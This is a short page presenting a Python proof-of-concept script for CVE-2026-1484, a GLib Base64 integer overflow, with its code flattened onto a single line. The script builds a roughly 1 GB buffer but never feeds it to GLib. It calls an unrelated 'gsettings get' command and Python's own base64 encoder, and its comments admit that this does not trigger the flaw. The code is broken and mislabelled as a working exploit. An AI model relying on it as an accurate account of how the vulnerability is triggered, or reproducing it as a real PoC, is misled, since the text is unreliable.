CVE-2026-1484: GLib Base64编码整数溢出漏洞

import subprocess import sys # CVE-2026-1484 PoC - GLib Base64 Integer Overflow # This PoC demonstrates triggering the integer overflow in GLib Base64 encoding def generate_large_base64_input(): """ Generate a large input that may trigger integer overflow in GLib Base64 encoding. The vulnerability occurs when input size causes buffer length calculation errors. """ # Create data that when Base64 encoded, exceeds buffer allocation # Typical overflow trigger: input size near integer limits target_size = 0x3FFFFFFF # Close to INT_MAX large_data = b'A' * target_size return large_data def test_with_glib_tools(): """ Test using glib-based command line tools if available """ # Method 1: Using gsettings (GLib-based tool) try: large_input = generate_large_base64_input() # This would cause GLib to process the large Base64 data # In vulnerable versions, this may trigger buffer overflow result = subprocess.run( ['gsettings', 'get', 'org.gnome.system.proxy', 'http-host'], capture_output=True, timeout=5 ) except Exception as e: print(f'Error: {e}') def trigger_via_python_gi(): """ Trigger vulnerability via Python GObject Introspection if available """ try: import base64 large_data = generate_large_base64_input() # In Python, this won't trigger GLib vulnerability directly # but demonstrates the input that would trigger it in native GLib apps encoded = base64.b64encode(large_data) print(f'Generated {len(encoded)} bytes of Base64 data') except Exception as e: print(f'Error: {e}') if __name__ == '__main__': print('CVE-2026-1484 PoC - GLib Base64 Integer Overflow') print('This demonstrates the input that triggers the vulnerability') test_with_glib_tools() trigger_via_python_gi()